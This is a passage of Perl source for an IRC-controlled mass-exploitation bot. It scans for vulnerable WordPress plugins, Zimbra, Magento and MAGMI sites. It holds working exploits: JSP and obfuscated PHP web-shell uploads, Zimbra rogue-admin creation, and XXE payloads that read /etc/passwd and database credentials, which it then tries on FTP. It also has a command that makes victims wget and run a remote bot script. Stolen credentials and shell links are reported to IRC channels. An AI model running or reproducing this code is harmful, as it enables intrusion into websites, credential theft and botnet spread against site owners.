http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$woopralogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$woopralogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$woopralogo15$engine 9 sHeLL 8 http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/wp-content/plugins/woopra/inc/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub zimbraup_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list) { $count++; if ($count == $num-1) { &msg("$chan","$zimbralogo $engine Finished"); } my $test = "https://".$site.$bug; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); my $res = $ua->get($test, 'Accept-Encoding' => HTTP::Message::decodable,); if ($res->decoded_content =~/$_[0](.*?)<\/value>/){ my $token = &gettoken($site); $target = "https://".$site.":7071/service/extension/clientUploader/upload/"; $code = "<%@ page import=\"java.util.*,java.io.*\"%><% if (request.getParameter(\"cmd\") != null) { String cmd = request.getParameter(\"cmd\"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>"; my $resp = $ua->post($target,Content_Type => 'form-data', Cookie => "ZM_ADMIN_AUTH_TOKEN=$authtoken",Content => [ clientFile => [ undef, "xrt.jsp", Content_Type => 'application/octet-stream', Content => $code ], submit => 'requestId',],); if ($resp->as_string =~ /200 OK/) { &msg("$chan","[+]$zimbralogo Powened[+]FOUND".$site.""); &msg("$chan2","[+]$zimbralogo Powened[+]FOUND".$site."7071/downloads/xrt.jsp?cmd=whoami"); &msg("$admin","[+]$zimbralogo Powened[+]FOUND".$site."7071/downloads/xrt.jsp?cmd=whoami"); &msg("$nick","[+]$zimbralogo Powened[+]FOUND".$site."7071/downloads/xrt.jsp?cmd=whoami"); } } } } } sub gettoken(){ my $chan = $_[0]; my $ldap_user = pwn("zimbra_user"); my $ldap_pass = pwn("zimbra_ldap_password"); my $message = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">$ldap_user</account><password>$ldap_pass</password></ns1:AuthRequest></env:Body></env:Envelope>"; my $userAgent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); my $request = HTTP::Request->new(POST => "https://$host:$port/$soappath"); $request->header(SOAPAction => 'urn:zimbraAdmin#AuthRequest'); $request->content($message); $request->content_type('application/soap+xml; charset=utf-8'); my $response = $userAgent->request($request); my $authtoken; if ($response->content =~ /<authToken>(.*?)<\/authToken>/s){ $authtoken = $1; } } sub zimbra_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list) { $count++; if ($count == $num-1) { &msg("$chan","$zimbralogo $engine Finished"); } my $test = "http://".$site.$bug; my $test2 = &domainxpl($site); my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); my $res = $ua->get("https://".$site.":7071".$bug, 'Accept-Encoding' => HTTP::Message::decodable,); if ($res->decoded_content =~/$_[0](.*?)<\/value>/){ $1 =~ /a\["<value>(.*)/; my $exploit = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>$authtoken</authToken></context></soap:Header><soap:Body><CreateAccountRequest xmlns=\"urn:zimbraAdmin\"><name>toolsb0x\@$zimbradomain</name><password>jancuk506508</password></CreateAccountRequest></soap:Body></soap:Envelope>"; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); my $request = HTTP::Request->new(POST => "https://".$site."7071/service/admin/soap"); $request->header(SOAPAction => 'urn:zimbraAdmin'); $request->content($exploit); $request->content_type('application/soap+xml; charset=utf-8'); my $res = $ua->request($request); my $pwned; if ($res->content =~ /name=\"(.*?)\">/) { $pwned = $1; &msg("$chan","[+]$zimbralogo Powened[+]FOUND".$site); } } } } } sub domainxpl(){ my $chan = $_[0]; my $domain = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>$authtoken</authToken></context></soap:Header><soap:Body><GetAllDomainsRequest xmlns=\"urn:zimbraAdmin\"></GetAllDomainsRequest></soap:Body></soap:Envelope>"; my $userAgent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); my $request = HTTP::Request->new(POST => "https://".$site.":7071/service/admin/soap"); $request->header(SOAPAction => 'urn:zimbraAdmin'); $request->content($domain); $request->content_type('application/soap+xml; charset=utf-8'); my $response = $userAgent->request($request); my $zimbradomain; if ($response->content =~ /<a n=\"zimbraDomainName\">(.*?)<\/a>/s) { $zimbradomain = $1; } } sub magentpxml_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$magenlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list) { $count++; if ($count == $num-1) { &msg("$chan","$magentologo $engine Finished"); } my $test = "http://".$site."api/xmlrpc"; my $test2 = "http://".$site."index.php/api/xmlrpc"; my $html = &get_content($test); if ($html =~ /faultString/i ) { my $soplak = &xxe($test); my $cok = &xxe2($test); my $exl = &xxe3($test); if ($exl =~ m/PD94(.*)/){ my $data = $1; my $hash = decode_base64($data); if ($hash =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;} if ($hash =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;} if ($hash =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;} if ($hash =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;} &msg("$chan","[+]$magentologo Database[+] http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname.""); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","[+]$magentologo FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$chan","[+]$magentologo dapat FTP[+] bro"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","[+]$magentologo FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$chan","[+]$magentologo dapat FTP[+] bro"); } } if ($cok =~m/uid=(.*)(.*?)/){ my $data=$1; &msg("$chan","[+]$magentologo Vuln[+]FOUND".$site."ID". $1); } # my $hasil = &get_content($soplak) # if ($hasil=~/root:(.+):(.+)/){ # my $data=""; # &msg("$chan","[+]$xmllogo Vuln[+]FOUND".$site); # } } } } } sub xxe(){ my $chan = $_[0]; my $ua = LWP::UserAgent->new(agent => 'curl -x post -d'); $exploit = "<?xml version=\"1.0\"?>"; $exploit .= "<!DOCTYPE foo ["; $exploit .= "<!ELEMENT methodName ANY >"; $exploit .= "<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>"; $exploit .= "<methodCall><methodName>&xxe;</methodName></methodCall>"; $ua->timeout(2); my $res = $ua->request(POST $url, Content_Type => 'api/xmlrpc', Content => $exploit); return $res->content; } sub xxe2(){ my $chan = $_[0]; my $ua = LWP::UserAgent->new(agent => 'curl -x post -d'); $exploit = "<?xml version=\"1.0\"?>"; $exploit .= "<!DOCTYPE foo ["; $exploit .= "<!ELEMENT methodName ANY >"; $exploit .= "<!ENTITY xxe SYSTEM \"expect://id\" >]>"; $exploit .= "<methodCall><methodName>&xxe;</methodName></methodCall>"; $ua->timeout(2); my $res = $ua->request(POST $url, Content_Type => 'api/xmlrpc', Content => $exploit); return $res->content; } sub xxe3(){ my $chan = $_[0]; my $ua = LWP::UserAgent->new(agent => 'curl -x post -d'); $exploit = "<?xml version=\"1.0\"?>"; $exploit .= "<!DOCTYPE foo ["; $exploit .= "<!ELEMENT methodName ANY >"; $exploit .= "<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=:/home/".$1."/public_html/app/etc/local.xml\" >]>"; $exploit .= "<methodCall><methodName>&xxe;</methodName></methodCall>"; $ua->timeout(2); my $res = $ua->request(POST $url, Content_Type => 'api/xmlrpc', Content => $exploit); return $res->content; } sub updfy_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $ary = $_[6]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$updfylogo,$ary); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; #if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->POST ($test, Content_Type => 'form-data', Content => [ "$ary" => [ "$code" ]]); my $print = $ua->request($res); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($hasil =~ /rel=\\"(.*?)">/) { my $sys = $1; $sys=~ s/\\//g; &msg("$admin","$updfylogo15$engine 9 sHeLL 8 http://".$site.$1); &msg("$chan","$updfylogo15$engine 13 sHeLL Upload3d :) 8"); &msg("$chan2","$updfylogo15$engine 9 sHeLL 8 http://".$site.$1); sleep(3); } } exit; } sleep(2); } } } ###### MAGMI MAGENTO ####### sub amuc_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$am2logo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$am2logo $engine Done"); } my $test = "http://".$site."/wp-content/plugins/ajax_multi_upload/upload.php"; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2); &msg("$chan","$am2logo $engine Exploit ");sleep(2); &am_xpl($test,$chan,$site,$engine); } exit; sleep(2); } } } } sub am_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."wp-content/plugins/ajax_multi_upload/upload.php"; my $uploadfile = "lo.php"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", filename => ["$uploadfile"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php"); if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$am2logo4TARGET1 12SEND 3TO 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$am2logo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$am2logo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php 9(4@15anaL!9) ");sleep(2); } } sub amu_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$amlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$amlogo $engine Done"); } my $test = "http://".$site."/wp-content/plugins/ajax_multi_upload/upload.php"; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2); &msg("$chan","$amlogo $engine Exploit ");sleep(2); &amc_xpl($test,$chan,$site,$engine); } exit; sleep(2); } } } } sub amc_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."wp-content/plugins/ajax_multi_upload/upload.php"; my $uploadfile = "lo.php"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", filename => ["$uploadfile"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php"); if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$amlogo4TARGET1 12SEND 3TO 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$amlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$amlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."wp-content/plugins/ajax_multi_upload/files/lo.php 9(4@15anaL!9) ");sleep(2); } } sub wpeventcmd_exploit(){ my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$wpeventlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$wpeventlogo $engine Done"); } my $test = "http://".$site."wp-content/plugins/php-event-calendar/server/classes/uploadify.php"; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &get_content($html); &get_content($test); if ($html = ~/1/) { #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2); &msg("$chan","$wpeventlogo $engine $site Exploiting ");sleep(2); &event_xpl($test,$chan,$site,$engine); &events_xpl($test,$chan,$site,$engine); }else{} } exit; sleep(2); } } } } sub event_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."wp-content/plugins/php-event-calendar/server/classes/uploadify.php"; my $update_file = "lo.php.gif"; #my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]); my $tusuk= $ua->post("$url",Content_Type => 'form-data', Content => [ 'Filedata' => [$update_file] , targetFolder => '../../../../../' , user_id => 'byz' ])->content; my $status = $tusuk->as_string; my $check = &get_content("http://".$site."byz_lo.php.gif"); if ($tusuk = ~/1/) { &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13Mencoba exploit15)4 http://".$site."4byz_lo.php.gif15"); }else{ &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13!15)4 http://".$site." 15 Tidak dapat diperkosa !");sleep(2); } if ($check =~ /1/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13Mencoba exploit15)4 http://".$site."4byz_lo.php.gif15"); &msg("$chanxxx","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."4byz_lo.php.gif15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); } if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$wpeventlogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site." 4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); } } sub event_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."wp-content/plugins/php-event-calendar/server/classes/uploadify.php"; my $update_file = "lo.php.gif"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", Filedata => ["$update_file"], targetFolder => '../../../../../' , user_id => 'byz' ]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."byz_lo.php.gif"); if ($exploit = ~/1/) { &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13Mencoba exploit15)4 http://".$site."4byz_lo.php.gif15"); }else{ &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13!15)4 http://".$site." 15 Tidak dapat diperkosa !");sleep(2); } if ($check =~ /1/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$wpeventlogo(4@3$engine15)15(4@13Mencoba exploit15)4 http://".$site."4byz_lo.php.gif15"); &msg("$chanxxx","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site." 4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); } if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$wpeventlogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site." 4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$wpeventlogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."byz_lo.php.gif 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); } } sub magmi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$mglogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$mglogo $engine Done"); } my $test = "http://".$site."magmi/web/magmi.php"; my $test2 = "http://".$site."magmi/web/plugin_upload.php"; my $test3 = "http://".$site."magmi/conf/magmi.ini"; my $html = &get_content($test); my $xxx = &get_content($test3); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($html =~ /MAGMI/ || $html =~ m/<h3>Upload New Plugins<\/h3>/ || $html =~ m/<title>MAGMI (MAGento Mass Importer) by Dweeves - version 0.7.18<\/title>/i ) { #&msg("$chan","$mag2logo(4@3$engine15)15(4@14VulN15)3 ".$test." 9(4@15VulN9) ");sleep(2); &msg("$chan","$mglogo $engine Exploit ");sleep(2); &magmi_xpl($test,$chan,$site,$engine); &magmi2_xpl($test,$chan,$site,$engine); &magmi3_xpl($test,$chan,$site,$engine); &magmi4_xpl($test,$chan,$site,$engine); &magmi5_xpl($test,$chan,$site,$engine); &magmi6_xpl($test,$chan,$site,$engine); &magmi7_xpl($test,$chan,$site,$engine); #&magmi8_xpl($test,$chan,$site,$engine); &magmi_sql($test,$chan,$site,$engine); &magmi_xpl($test2,$chan,$site,$engine); &magmi2_xpl($test2,$chan,$site,$engine); &magmi3_xpl($test2,$chan,$site,$engine); &magmi5_xpl($test2,$chan,$site,$engine); &magmi4_xpl($test2,$chan,$site,$engine); &magmi6_xpl($test2,$chan,$site,$engine); &magmi7_xpl($test2,$chan,$site,$engine); #&magmi8_xpl($test2,$chan,$site,$engine); &magmi_sql($test2,$chan,$site,$engine); &magento_exploit($test,$chan,$site,$engine); &magento_exploit($test2,$chan,$site,$engine); }else { } if ($xxx =~ /connectivity/){ &magmiin_xpl($test3,$chan,$site,$engine); }else { } } exit; sleep(2); } } } } sub magmi_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."magmi/web/magmi.php"; my $update_file = "racrew_plugins.zip"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package 